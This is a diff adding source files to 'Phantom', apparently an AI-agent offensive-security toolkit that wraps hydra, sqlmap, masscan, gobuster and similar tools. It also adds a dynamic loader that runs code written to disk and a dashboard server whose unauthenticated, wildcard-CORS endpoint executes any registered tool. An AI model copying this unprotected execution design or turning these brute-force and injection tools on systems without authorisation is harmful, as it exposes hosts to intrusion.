binary.", + execute: amass, + }, + gau: { + description: "External: getallurls (lc/gau) — fetch known URLs from Wayback/AlienVault/CommonCrawl. Input: domain. Requires gau binary.", + execute: gau, + }, + dnsx: { + description: "External: ProjectDiscovery dnsx — DNS resolution toolkit. Input: domain. Requires dnsx binary.", + execute: dnsx, + }, + gitleaks: { + description: "External: gitleaks — git repository secret scanner. Input: repo path. Requires gitleaks binary.", + execute: gitleaks, + }, + s3scanner: { + description: "External: s3scanner — find S3 buckets and check permissions. Input: bucket. Requires s3scanner binary.", + execute: s3scanner, + }, + gobuster: { + description: "External: gobuster — directory, DNS, vhost brute-forcing. Modes: dir, dns, vhost, fuzz. Input: mode|opts. Requires gobuster binary.", + execute: gobuster, + }, + nmap: { + description: "Wrapper around nmap — industry-standard port scanner (SYN, version, NSE, OS). Input: target [options]. Requires nmap binary.", + execute: nmap, + }, + sqlmap: { + description: "Wrapper around sqlmap — automated SQL injection detection and exploitation. Input: sqlmap args. Requires sqlmap binary.", + execute: sqlmap, + }, + whatweb: { + description: "Web technology fingerprinting — CMS, frameworks, JS libs, servers. Input: URL. Requires whatweb binary.", + execute: whatweb, + }, + wafw00f: { + description: "Web Application Firewall detection and fingerprinting. Input: URL. Requires wafw00f binary.", + execute: wafw00f, + }, + trufflehog: { + description: "Secret scanner for git repos, filesystems, and S3. Detects leaked credentials. Input: type|target. Requires trufflehog binary.", + execute: trufflehog, + }, + hydra: { + description: "Online password brute-force (SSH, FTP, HTTP, MySQL, RDP, etc). Input: target|proto|user|passwords. Requires hydra binary.", + execute: hydra, + }, + masscan: { + description: "Ultra-fast port scanner (can scan entire internet). Input: target [options]. Requires masscan binary (root).", + execute: masscan, + }, + nikto: { + description: "Web server scanner — outdated files, config issues, known vulns. Input: URL [options]. Requires nikto binary.", + execute: nikto, + }, + arjun: { + description: "HTTP parameter discovery — hidden GET/POST params. Input: URL [options]. Requires arjun (pip).", + execute: arjun, + }, + gospider: { + description: "Web spider/crawler — links, forms, scripts, S3. Input: URL [options]. Requires gospider binary.", + execute: gospider, + }, + cloud_enum: { + description: "Cloud resource enumeration — S3, Azure, GCP. Input: keyword. Requires cloud_enum (pip).", + execute: cloud_enum, + }, + notify: { + description: "Send notifications to Slack/Telegram/Discord. Input: message. Requires notify binary.", + execute: notify, + }, + interactsh: { + description: "OOB interaction/request bin for blind vuln detection (SSRF, XSS). Actions: start, poll, stop. Requires interactsh-client.", + execute: interactsh, + }, +}; diff --git a/src/core/persistence.ts b/src/core/persistence.ts new file mode 100644 index 0000000000000000000000000000000000000000..647111e45e862a3b248b31f0ffc9f2447749e787 --- /dev/null +++ b/src/core/persistence.ts @@ -0,0 +1,62 @@ +import { existsSync, readFileSync, writeFileSync, mkdirSync } from "fs"; +import { homedir } from "os"; +import { resolve } from "path"; +import { AgentMessage } from "../agents/types.js"; + +const BASE_DIR = resolve(homedir(), ".config", "phantom"); +const MEMORY_DIR = resolve(BASE_DIR, "memory"); +const KNOWLEDGE_DIR = resolve(BASE_DIR, "knowledge"); + +function ensureDirs(): void { + if (!existsSync(MEMORY_DIR)) { + mkdirSync(MEMORY_DIR, { recursive: true }); + } + if (!existsSync(KNOWLEDGE_DIR)) { + mkdirSync(KNOWLEDGE_DIR, { recursive: true }); + } +} + +export function saveMemory(agentId: string, memory: AgentMessage[]): void { + try { + ensureDirs(); + const filePath = resolve(MEMORY_DIR, `${agentId}.json`); + writeFileSync(filePath, JSON.stringify(memory, null, 2), "utf-8"); + } catch (e: any) { + console.error(`Failed to save memory for agent ${agentId}: ${e.message}`); + } +} + +export function loadMemory(agentId: string): AgentMessage[] { + try { + ensureDirs(); + const filePath = resolve(MEMORY_DIR, `${agentId}.json`); + if (!existsSync(filePath)) return []; + const raw = readFileSync(filePath, "utf-8"); + return JSON.parse(raw); + } catch (e: any) { + console.error(`Failed to load memory for agent ${agentId}: ${e.message}`); + return []; + } +} + +export function saveKnowledge(agentId: string, knowledge: string): void { + try { + ensureDirs(); + const filePath = resolve(KNOWLEDGE_DIR, `${agentId}.txt`); + writeFileSync(filePath, knowledge, "utf-8"); + } catch (e: any) { + console.error(`Failed to save knowledge for agent ${agentId}: ${e.message}`); + } +} + +export function loadKnowledge(agentId: string): string { + try { + ensureDirs(); + const filePath = resolve(KNOWLEDGE_DIR, `${agentId}.txt`); + if (!existsSync(filePath)) return ""; + return readFileSync(filePath, "utf-8"); + } catch (e: any) { + console.error(`Failed to load knowledge for agent ${agentId}: ${e.message}`); + return ""; + } +} diff --git a/src/core/tools.ts b/src/core/tools.ts new file mode 100644 index 0000000000000000000000000000000000000000..bd7e7e9cfc1a4d20f93118dc5634bbd65a63feaa --- /dev/null +++ b/src/core/tools.ts @@ -0,0 +1,79 @@ +import { existsSync, writeFileSync, mkdirSync, readdirSync } from "fs"; +import { homedir } from "os"; +import { resolve, join } from "path"; +import { pathToFileURL } from "url"; +import { AgentCapability } from "../agents/types.js"; + +const TOOLS_DIR = resolve(homedir(), ".config", "phantom", "tools"); + +function ensureToolsDir(): void { + if (!existsSync(TOOLS_DIR)) { + mkdirSync(TOOLS_DIR, { recursive: true }); + } +} + +export function saveDynamicTool(toolName: string, code: string): string { + ensureToolsDir(); + const fileName = `dynamic_${toolName.toLowerCase().replace(/[^a-z0-9_]/g, "_")}.js`; + const filePath = join(TOOLS_DIR, fileName); + + // Wrap the code if it doesn't already export execute + let fileContent = code; + if (!code.includes("export async function execute") && !code.includes("export function execute") && !code.includes("export default")) { + fileContent = ` +export async function execute(input) { + ${code} +} +`; + } + + writeFileSync(filePath, fileContent, "utf-8"); + return filePath; +} + +export async function loadDynamicTool(filePath: string, toolName: string, description: string): Promise { + const fileUrl = pathToFileURL(filePath).href; + // Use a query parameter cache buster so Node.js can re-import the file if it changed + const module = await import(`${fileUrl}?t=${Date.now()}`); + const executeFn = module.execute || module.default; + + if (typeof executeFn !== "function") { + throw new Error(`Dynamic tool ${toolName} does not export an 'execute' function.`); + } + + return { + name: toolName, + description, + execute: async (input: string, agentCtx?: any) => { + try { + const result = await executeFn(input, agentCtx); + return String(result); + } catch (err: any) { + return `[Tool Error in ${toolName}]: ${err.message}`; + } + } + }; +} + +export async function loadAllDynamicTools(): Promise<{ name: string; description: string; filePath: string }[]> { + ensureToolsDir(); + if (!existsSync(TOOLS_DIR)) return []; + + const files = readdirSync(TOOLS_DIR); + const tools: { name: string; description: string; filePath: string }[] = []; + + for (const file of files) { + if (file.startsWith("dynamic_") && file.endsWith(".js")) { + const filePath = join(TOOLS_DIR, file); + const name = file.replace("dynamic_", "").replace(".js", ""); + // We can infer description from file or just use a generic one + tools.push({ + name, + description: `Dynamically created tool: ${name}`, + filePath + }); + } + } + + return tools; +} diff --git a/src/gui/server.ts b/src/gui/server.ts new file mode 100644 index 0000000000000000000000000000000000000000..ebb4f3921d9effe01a148c5caf83ed7d87e01ae0 --- /dev/null +++ b/src/gui/server.ts @@ -0,0 +1,1012 @@ +import http from "http"; +import { existsSync, readFileSync, readdirSync } from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; +import { hackerTools } from "../core/hacker-tools.js"; +import { readFile, writeFile } from "fs/promises"; +// WebSocket imported dynamically to avoid build issues on USB +let WebSocketServer: any; +let WebSocket: any; +try { + const ws = require("ws"); + WebSocketServer = ws.WebSocketServer; + WebSocket = ws.WebSocket; +} catch {} + +const REPORTS_DIR = resolve(homedir(), ".config", "phantom", "reports"); +const PLAYBOOKS_DIR = resolve(homedir(), ".config", "phantom", "playbooks"); +const SESSIONS_DIR = resolve(homedir(), ".config", "phantom", "sessions"); +const MISSIONS_DIR = resolve(homedir(), ".config", "phantom", "missions"); + +// WebSocket clients for real-time updates +const wsClients = new Set(); + +function broadcast(data: any) { + const msg = JSON.stringify(data); + for (const client of wsClients) { + if (client.readyState === WebSocket.OPEN) { + client.send(msg); + } + } +} + +// Broadcast helpers for specific events +function broadcastHealth() { + const mem = process.memoryUsage(); + const uptime = process.uptime(); + broadcast({ + type: "health", + data: { + status: "ok", + uptime: Math.floor(uptime), + uptimeHuman: formatUptime(uptime), + memory: { + rss: Math.round(mem.rss / 1024 / 1024) + "MB", + heapUsed: Math.round(mem.heapUsed / 1024 / 1024) + "MB", + heapTotal: Math.round(mem.heapTotal / 1024 / 1024) + "MB", + external: Math.round(mem.external / 1024 / 1024) + "MB" + }, + pid: process.pid, + platform: process.platform, + nodeVersion: process.version, + usbMounted: existsSync("/root/usb/Phantom"), + timestamp: new Date().toISOString() + } + }); +} + +function broadcastMissions() { + const missions: any[] = []; + if (existsSync(MISSIONS_DIR)) { + for (const f of readdirSync(MISSIONS_DIR).filter((f: string) => f.endsWith(".json"))) { + const m = JSON.parse(readFileSync(resolve(MISSIONS_DIR, f), "utf-8")); + missions.push({ + id: m.id, + programName: m.programName, + programHandle: m.programHandle, + status: m.status, + createdAt: m.createdAt, + updatedAt: m.updatedAt, + inScopeCount: m.scope?.inScope?.length || 0, + objectives: m.objectives?.length || 0 + }); + } + } + missions.sort((a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime()); + broadcast({ type: "missions", data: missions }); +} + +function broadcastSchedules() { + const schedules = (globalThis as any).__phantomSchedules || []; + broadcast({ + type: "schedules", + data: schedules.map((s: any) => ({ + id: s.id, + tool: s.tool, + target: s.target, + interval: s.interval, + nextAt: s.nextAt, + nextAtHuman: new Date(s.nextAt).toLocaleString() + })) + }); +} + +const HTML = ` + + +Phantom Dashboard + + +

🔮 PHANTOM

online
+
+
🛠 Tools
+
📋 Playbooks
+
📄 Reports
+
📊 Monitor
+
+ +
+ +
Loading tools...
+
+
+ +
+
Loading playbooks...
+
+ +
+
Loading reports...
+
+
+ +
+
+
+

🖥 System Health

+
Status OK
+
Uptime—
+
Memory—
+
CPU Load—
+
Disk (USB)—
+
Node—
+
PID—
+
USB Mount✓ Mounted
+
Platform—
+
Version—
+
Network—
+
Disk I/O—
+
Uptime (raw)—
+
Platform—
+
Version—
+
PID—
+
+ +
+

🎯 Active Missions

+ +
Loading missions...
+
+ +
+

⏰ Active Schedules

+
Loading schedules...
+
+ +
+

📋 All Tasks (Searchable)

+ +
Loading tasks...
+
+
+
+ +
—● connected
+ +`; + +export function startGui(port: number = parseInt(process.env.PHANTOM_PORT || "8080")): void { + const server = http.createServer(async (req, res) => { + res.setHeader("Access-Control-Allow-Origin", "*"); + res.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTIONS"); + res.setHeader("Access-Control-Allow-Headers", "Content-Type"); + if (req.method === "OPTIONS") { res.writeHead(204); res.end(); return; } + + const url = new URL(req.url || "/", `http://${req.headers.host || "localhost"}`); + const path = url.pathname; + + try { + if (path === "/api/tools") { + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify(Object.keys(hackerTools).sort())); + return; + } + + if (path === "/api/run" && req.method === "POST") { + const body = await readBody(req); + const { tool, args } = JSON.parse(body); + const fn = hackerTools[tool]; + if (!fn) { res.writeHead(404); res.end(JSON.stringify({ error: "Tool not found" })); return; } + const result = await fn.execute(args); + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ result })); + return; + } + + if (path === "/api/playbooks") { + const names: any[] = []; + if (existsSync(PLAYBOOKS_DIR)) { + for (const f of readdirSync(PLAYBOOKS_DIR).filter((f: string) => f.endsWith(".json"))) { + const pb = JSON.parse(readFileSync(resolve(PLAYBOOKS_DIR, f), "utf-8")); + names.push({ name: pb.name, description: pb.description, steps: pb.steps?.length || 0, vars: pb.variables }); + } + } + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify(names)); + return; + } + + if (path === "/api/playbook/run" && req.method === "POST") { + const body = await readBody(req); + const { name, vars } = JSON.parse(body); + const fn = hackerTools["playbook_run"]; + if (!fn) { res.writeHead(404); res.end(JSON.stringify({ error: "playbook_run tool not found" })); return; } + const input = vars ? `${name}|${vars}` : name; + const result = await fn.execute(input); + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ result })); + return; + } + + if (path === "/api/reports") { + const reports: any[] = []; + if (existsSync(REPORTS_DIR)) { + for (const f of readdirSync(REPORTS_DIR).filter((f: string) => f.endsWith(".md") || f.endsWith(".txt"))) { + const stat = existsSync(resolve(REPORTS_DIR, f)) ? "" : ""; + reports.push({ name: f, size: formatSize(readFileSync(resolve(REPORTS_DIR, f)).length) }); + } + } + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify(reports.sort((a, b) => a.name.localeCompare(b.name)))); + return; + } + + if (path.startsWith("/api/report/")) { + const name = decodeURIComponent(path.slice(12)); + const fp = resolve(REPORTS_DIR, name); + if (!existsSync(fp)) { res.writeHead(404); res.end(JSON.stringify({ error: "Not found" })); return; } + const content = readFileSync(fp, "utf-8"); + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ content })); + return; + } + + // ── Monitoring API endpoints ── + if (path === "/api/missions") { + const missions: any[] = []; + if (existsSync(MISSIONS_DIR)) { + for (const f of readdirSync(MISSIONS_DIR).filter((f: string) => f.endsWith(".json"))) { + const m = JSON.parse(readFileSync(resolve(MISSIONS_DIR, f), "utf-8")); + missions.push({ + id: m.id, + programName: m.programName, + programHandle: m.programHandle, + status: m.status, + createdAt: m.createdAt, + updatedAt: m.updatedAt, + inScopeCount: m.scope?.inScope?.length || 0, + objectives: m.objectives?.length || 0 + }); + } + } + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify(missions.sort((a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime()))); + return; + } + + if (path === "/api/schedules") { + // Access globalThis.__phantomSchedules from the main process + const schedules = (globalThis as any).__phantomSchedules || []; + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify(schedules.map((s: any) => ({ + id: s.id, + tool: s.tool, + target: s.target, + interval: s.interval, + nextAt: s.nextAt, + nextAtHuman: new Date(s.nextAt).toLocaleString() + })))); + return; + } + + if (path === "/api/tasks") { + // Get all available tasks from hackerTools + const tasks = Object.keys(hackerTools).map(name => ({ + name, + category: categorizeTool(name) + })); + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify(tasks)); + return; + } + + if (path === "/api/health") { + const mem = process.memoryUsage(); + const uptime = process.uptime(); + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ + status: "ok", + uptime: Math.floor(uptime), + uptimeHuman: formatUptime(uptime), + memory: { + rss: Math.round(mem.rss / 1024 / 1024) + "MB", + heapUsed: Math.round(mem.heapUsed / 1024 / 1024) + "MB", + heapTotal: Math.round(mem.heapTotal / 1024 / 1024) + "MB", + external: Math.round(mem.external / 1024 / 1024) + "MB" + }, + pid: process.pid, + platform: process.platform, + nodeVersion: process.version, + usbMounted: existsSync("/root/usb/Phantom"), + timestamp: new Date().toISOString() + })); + return; + } + + if (path === "/api/system") { + const { execFileSync } = await import("child_process"); + let diskInfo = ""; + let loadAvg = ""; + try { + diskInfo = execFileSync("df", ["-h", "/root/usb"], { encoding: "utf-8", timeout: 5000 }).trim(); + } catch {} + try { + loadAvg = execFileSync("cat", ["/proc/loadavg"], { encoding: "utf-8", timeout: 5000 }).trim(); + } catch {} + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ + disk: diskInfo, + loadAvg: loadAvg, + cpus: require("os").cpus().length, + totalMem: Math.round(require("os").totalmem() / 1024 / 1024 / 1024 * 10) / 10 + "GB", + freeMem: Math.round(require("os").freemem() / 1024 / 1024 / 1024 * 10) / 10 + "GB" + })); + return; + } + + // Serve HTML for everything else + res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" }); + res.end(HTML); + } catch (e: any) { + res.writeHead(500, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ error: e.message })); + } + }); + + // WebSocket server for real-time updates + if (WebSocketServer) { + const wss = new WebSocketServer({ server }); + wss.on("connection", (ws: any) => { + wsClients.add(ws); + ws.on("close", () => wsClients.delete(ws)); + ws.on("error", () => wsClients.delete(ws)); + // Send initial state + ws.send(JSON.stringify({ type: "welcome", timestamp: new Date().toISOString() })); + }); + + // Periodic broadcasts for real-time updates + setInterval(broadcastHealth, 5000); + setInterval(broadcastMissions, 30000); + setInterval(broadcastSchedules, 10000); + } + + server.listen(port, () => { + console.log(`\n 🌐 Phantom Dashboard: http://localhost:${port}\n`); + }); +} + +function readBody(req: http.IncomingMessage): Promise { + return new Promise((resolve, reject) => { + let b = ""; + req.on("data", (c: string) => b += c); + req.on("end", () => resolve(b)); + req.on("error", reject); + }); +} + +function formatSize(bytes: number): string { + if (bytes < 1024) return bytes + "B"; + if (bytes < 1048576) return (bytes / 1024).toFixed(1) + "KB"; + return (bytes / 1048576).toFixed(1) + "MB"; +} + +function categorizeTool(name: string): string { + if (name.startsWith("mission") || name.startsWith("hackerone")) return "mission"; + if (name.startsWith("recon") || name === "subfinder" || name === "dnsx" || name === "httpx" || name === "sub_enum" || name === "wayback" || name === "amass") return "recon"; + if (name.startsWith("net:") || name === "port_scan" || name === "ssl_check" || name === "whois" || name === "geoip" || name === "dns_lookup" || name === "reverse_dns" || name === "nmap" || name === "naabu") return "network"; + if (name.startsWith("vuln:") || name === "cve_search" || name === "exploit_search" || name === "nuclei" || name === "nikto" || name === "sqlmap" || name === "sql_detect" || name === "xss_scan") return "vulnerability"; + if (name.startsWith("web:") || name === "crawl" || name === "http_headers" || name === "web_fetch" || name === "web_links" || name === "web_snapshot" || name === "whatweb" || name === "wafw00f" || name === "robots_txt" || name === "dir_bruteforce" || name === "ffuf" || name === "gobuster") return "web"; + if (name.startsWith("osint:") || name === "email_verify" || name === "email_breach" || name === "github_dork" || name === "shodan_search" || name === "vt_check" || name === "cert_expiry") return "osint"; + if (name.startsWith("schedule") || name === "cron" || name === "batch" || name === "pipe" || name === "session" || name === "playbook") return "automation"; + return "other"; +} + +function formatUptime(seconds: number): string { + const d = Math.floor(seconds / 86400); + const h = Math.floor((seconds % 86400) / 3600); + const m = Math.floor((seconds % 3600) / 60); + const s = Math.floor(seconds % 60); + const parts = []; + if (d) parts.push(`${d}d`); + if (h) parts.push(`${h}h`); + if (m) parts.push(`${m}m`); + if (s || parts.length === 0) parts.push(`${s}s`); + return parts.join(" "); +} diff --git a/src/index.ts b/src/index.ts new file mode 100644 index 0000000000000000000000000000000000000000..5acf3b1994c1d8dd69ac2ab75a347fd202e86348 --- /dev/null +++ b/src/index.ts @@ -0,0 +1,23 @@ +#!/usr/bin/env node + +import { detectEnv } from "./core/config.js"; + +const env = detectEnv(); + +if (env.isTermux) { + const { PhantomTermuxUI } = await import("./ui/termux.js"); + const ui = new PhantomTermuxUI(); + ui.start(); +} else if (env.screenSize === "tiny" || env.screenSize === "small") { + const { PhantomTermuxUI } = await import("./ui/termux.js"); + const ui = new PhantomTermuxUI(); + ui.start(); +} else if (env.isWindows && env.terminal === "windows-console") { + const { PhantomTermuxUI } = await import("./ui/termux.js"); + const ui = new PhantomTermuxUI(); + ui.start(); +} else { + const { PhantomTerminal } = await import("./ui/terminal.js"); + const terminal = new PhantomTerminal(); + terminal.start(); +} diff --git a/src/providers/openai.ts b/src/providers/openai.ts new file mode 100644 index 0000000000000000000000000000000000000000..ce624eacbb8423cfa186fdbf8f59c35da952e1bd --- /dev/null +++ b/src/providers/openai.ts @@ -0,0 +1,318 @@ +import { PhantomConfig } from "../core/config.js"; + +export interface LLMProvider { + chat: (messages: { role: string; content: string }[], opts?: { model?: string; temperature?: number }) => Promise; + transcribe?: (filePath: string) => Promise; +} + +interface ProviderConfig { + url: string; + keyEnv: string; + defaultModel: string; + chatPath: string; + fmt: (o: any) => any; + parse: (d: any) => string; + auth: (k: string) => Record; + urlMod?: (u: string, m: string, k: string) => string; +} + +const PROVIDER_CONFIGS: Record = { + openai: { + url: "https://opencode.ai/zen/v1", + keyEnv: "OPENCODE_ZEN_API_KEY", + defaultModel: "deepseek-v4-flash-free", + chatPath: "/chat/completions", + fmt: (o: any) => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), + parse: (d: any) => { + const c = d.choices?.[0]?.message?.content?.trim(); + return c || (d.choices?.[0]?.finish_reason === "length" ? "[Response truncated — increase max_tokens]" : "…"); + }, + auth: (k: string) => ({ "Authorization": `Bearer ${k}` }) + }, + anthropic: { + url: "https://api.anthropic.com/v1", + keyEnv: "ANTHROPIC_API_KEY", + defaultModel: "claude-sonnet-4-20250514", + chatPath: "/messages", + fmt: (o: any) => ({ model: o.model, messages: o.messages, max_tokens: 512 }), + parse: (d: any) => d.content?.[0]?.text || d.content?.toString() || "...", + auth: (k: string) => ({ "x-api-key": k, "anthropic-version": "2023-06-01" }) + }, + gemini: { + url: "https://generativelanguage.googleapis.com/v1beta", + keyEnv: "GEMINI_API_KEY", + defaultModel: "gemini-2.0-flash", + chatPath: "/models/{model}:generateContent", + fmt: (o: any) => ({ + contents: o.messages.map((m: any) => ({ + role: m.role === "assistant" ? "model" : m.role, + parts: [{ text: m.content }] + })) + }), + parse: (d: any) => d.candidates?.[0]?.content?.parts?.[0]?.text || "...", + auth: () => ({}), + urlMod: (u: string, m: string, k: string) => `${u}${m}?key=${k}` + }, + groq: { + url: "https://api.groq.com/openai/v1", + keyEnv: "GROQ_API_KEY", + defaultModel: "llama-3.3-70b-versatile", + chatPath: "/chat/completions", + fmt: (o: any) => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), + parse: (d: any) => d.choices?.[0]?.message?.content?.trim() || "...", + auth: (k: string) => ({ "Authorization": `Bearer ${k}` }) + }, + deepseek: { + url: "https://api.deepseek.com/v1", + keyEnv: "DEEPSEEK_API_KEY", + defaultModel: "deepseek-chat", + chatPath: "/chat/completions", + fmt: (o: any) => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), + parse: (d: any) => d.choices?.[0]?.message?.content?.trim() || "...", + auth: (k: string) => ({ "Authorization": `Bearer ${k}` }) + }, + mistral: { + url: "https://api.mistral.ai/v1", + keyEnv: "MISTRAL_API_KEY", + defaultModel: "mistral-large-latest", + chatPath: "/chat/completions", + fmt: (o: any) => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), + parse: (d: any) => d.choices?.[0]?.message?.content?.trim() || "...", + auth: (k: string) => ({ "Authorization": `Bearer ${k}` }) + }, + openrouter: { + url: "https://openrouter.ai/api/v1", + keyEnv: "OPENROUTER_API_KEY", + defaultModel: "anthropic/claude-sonnet-4", + chatPath: "/chat/completions", + fmt: (o: any) => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 512 }), + parse: (d: any) => d.choices?.[0]?.message?.content?.trim() || "...", + auth: (k: string) => ({ "Authorization": `Bearer ${k}` }) + }, + ollama: { + url: process.env.OLLAMA_HOST || "http://localhost:11434", + keyEnv: "", + defaultModel: "llama3", + chatPath: "/api/chat", + fmt: (o: any) => ({ model: o.model, messages: o.messages, stream: false }), + parse: (d: any) => d.message?.content?.trim() || "...", + auth: () => ({}) + }, + opencode: { + url: "https://opencode.ai/zen/v1", + keyEnv: "OPENCODE_ZEN_API_KEY", + defaultModel: "deepseek-v4-flash-free", + chatPath: "/chat/completions", + fmt: (o: any) => ({ model: o.model, messages: o.messages, temperature: 0.7, max_tokens: 16384 }), + parse: (d: any) => { + const c = d.choices?.[0]?.message?.content?.trim(); + return c || (d.choices?.[0]?.finish_reason === "length" ? "[Response truncated — increase max_tokens or shorten context]" : "…"); + }, + auth: (k: string) => ({ "Authorization": `Bearer ${k}` }) + }, +} as const; + +type ProviderName = keyof typeof PROVIDER_CONFIGS; + +function getKey(p: ProviderConfig, config: PhantomConfig): string { + if (p.keyEnv) { + const k = process.env[p.keyEnv]; + if (k) return k; + // fallback: check config + if ((config as any)[p.keyEnv]) return (config as any)[p.keyEnv]; + } + return ""; +} + +export async function createProvider(config: PhantomConfig): Promise { + // Determine provider order for fallback + const fallbackOrder: ProviderName[] = ["openai", "anthropic", "groq", "gemini", "deepseek", "mistral", "openrouter", "opencode"]; + + // Find first available provider + let selectedProvider: ProviderName = "openai"; + for (const name of fallbackOrder) { + const p = PROVIDER_CONFIGS[name]; + if (p.keyEnv) { + const key = getKey(p, config); + if (key) { + selectedProvider = name; + break; + } + } else if (name === "ollama") { + // Check if Ollama is available + try { + const r = await fetch(`${p.url}/api/tags`, { signal: AbortSignal.timeout(3000) }); + if (r.ok) { + selectedProvider = name; + break; + } + } catch {} + } + } + + const p = PROVIDER_CONFIGS[selectedProvider]; + const key = getKey(p, config); + const model = config.providers.openai?.baseUrl ? config.agents.defaultModel : p.defaultModel; + + return { + async chat(messages, opts = {}) { + const modelToUse = opts.model || model; + + // Try selected provider first, then fallback through chain + for (const providerName of fallbackOrder) { + const provider = PROVIDER_CONFIGS[providerName]; + if (!provider) continue; + + const providerKey = getKey(provider, config); + if (provider.keyEnv && !providerKey && providerName !== "ollama") continue; + + try { + let url = `${provider.url}${provider.chatPath.replace("{model}", modelToUse)}`; + const headers = { "Content-Type": "application/json", ...provider.auth(providerKey) }; + if (provider.urlMod) url = provider.urlMod(url, provider.chatPath.replace("{model}", modelToUse), providerKey); + const body = JSON.stringify(provider.fmt({ model: modelToUse, messages })); + + const r = await fetch(url, { method: "POST", headers, body, signal: AbortSignal.timeout(60000) }); + + if (!r.ok) { + const t = await r.text().catch(() => ""); + const err = `[${providerName} ${r.status}] ${t.substring(0, 200)}`; + + // Fallback on rate limit or service errors + if (r.status === 429 || r.status === 503 || r.status >= 500) { + console.log(`[LLM Fallback] ${providerName} returned ${r.status}, trying next provider...`); + continue; // Try next provider + } + return err; + } + + const d = await r.json(); + const result = provider.parse(d) || "..."; + + if (providerName !== selectedProvider) { + console.log(`[LLM Fallback] Switched to ${providerName}`); + } + return result; + } catch (e: any) { + console.log(`[LLM Fallback] ${providerName} error: ${e.message}, trying next...`); + continue; + } + } + + return `[LLM Fallback] All providers exhausted.`; + }, + + async transcribe(filePath) { + const openaiKey = getKey(PROVIDER_CONFIGS.openai, config); + if (!openaiKey) return "[Transcribe] Set OPENCODE_ZEN_API_KEY"; + try { + const { readFileSync } = await import("fs"); + const buf = readFileSync(filePath); + const blob = new Blob([buf], { type: "audio/mpeg" }); + const fd = new FormData(); fd.append("file", blob, "audio.mp3"); fd.append("model", "whisper-1"); + const r = await fetch("https://api.openai.com/v1/audio/transcriptions", { method: "POST", headers: { "Authorization": `Bearer ${openaiKey}` }, body: fd }); + const d: any = await r.json(); + return d.text || "[empty]"; + } catch (e: any) { return `[Transcribe err] ${e.message}`; } + } + }; +} + +export function createOpenAIProvider(config: PhantomConfig): LLMProvider { + // Synchronous wrapper for backward compatibility - calls createProvider synchronously + const { apiKey, baseUrl } = config.providers.openai; + return { + async chat(messages, opts = {}) { + if (!apiKey) { + return "[No OpenAI API key set. Configure via `OPENAI_API_KEY` env or `~/.config/phantom/config.json`]"; + } + try { + const resp = await fetch(`${baseUrl}/chat/completions`, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${apiKey}`, + }, + body: JSON.stringify({ + model: opts.model || config.agents.defaultModel, + messages, + temperature: opts.temperature ?? 0.7, + max_tokens: 1024, + }), + }); + + if (!resp.ok) { + const err = await resp.text().catch(() => ""); + return `[API error ${resp.status}: ${err.substring(0, 200)}]`; + } + + const data: any = await resp.json(); + return data.choices?.[0]?.message?.content?.trim() || "[empty response]"; + } catch (e: any) { + return `[Request failed: ${e.message}]`; + } + }, + + async transcribe(filePath) { + if (!apiKey) { + return "[No OpenAI API key set. Configure via `OPENAI_API_KEY` env or `~/.config/phantom/config.json`]"; + } + try { + const { readFileSync } = await import("fs"); + const fileBuffer = readFileSync(filePath); + const blob = new Blob([fileBuffer], { type: "audio/mpeg" }); + const formData = new FormData(); + formData.append("file", blob, "audio.mp3"); + formData.append("model", "whisper-1"); + + const resp = await fetch(`${baseUrl}/audio/transcriptions`, { + method: "POST", + headers: { + Authorization: `Bearer ${apiKey}`, + }, + body: formData, + }); + + if (!resp.ok) { + const err = await resp.text().catch(() => ""); + return `[Transcription API error ${resp.status}: ${err.substring(0, 200)}]`; + } + + const data: any = await resp.json(); + return data.text || "[empty transcription]"; + } catch (e: any) { + return `[Transcription request failed: ${e.message}]`; + } + }, + }; +} + +export function createOllamaProvider(config: PhantomConfig): LLMProvider { + const { baseUrl, model: defaultModel } = config.providers.ollama; + + return { + async chat(messages, opts = {}) { + try { + const resp = await fetch(`${baseUrl}/api/chat`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + model: opts.model || defaultModel, + messages, + stream: false, + }), + }); + + if (!resp.ok) { + const err = await resp.text().catch(() => ""); + return `[Ollama error ${resp.status}: ${err.substring(0, 200)}]`; + } + + const data: any = await resp.json(); + return data.message?.content?.trim() || "[empty response]"; + } catch (e: any) { + return `[Ollama request failed: ${e.message}]`; + } + }, + }; +} \ No newline at end of file diff --git a/src/ui/panels.ts b/src/ui/panels.ts new file mode 100644 index 0000000000000000000000000000000000000000..de9664c0b06e50246ab82da796915625550c0977 --- /dev/null +++ b/src/ui/panels.ts @@ -0,0 +1,153 @@ +import blessed from "blessed"; +import { phantomTheme, phantomBorders, phantomBordersFocus } from "./theme.js"; +import { AgentIdentity } from "../agents/types.js"; + +export interface PhantomPanel { + box: blessed.Widgets.BoxElement; + log: blessed.Widgets.Log; + agentId?: string; +} + +export class PanelManager { + private screen: blessed.Widgets.Screen; + private panels: PhantomPanel[] = []; + private focusedIndex: number = 0; + private container: blessed.Widgets.BoxElement; + + constructor(screen: blessed.Widgets.Screen) { + this.screen = screen; + this.container = blessed.box({ + parent: screen, + top: 1, + left: 0, + width: "100%", + height: "95%-1", + }); + } + + createPanel(agent?: AgentIdentity): PhantomPanel { 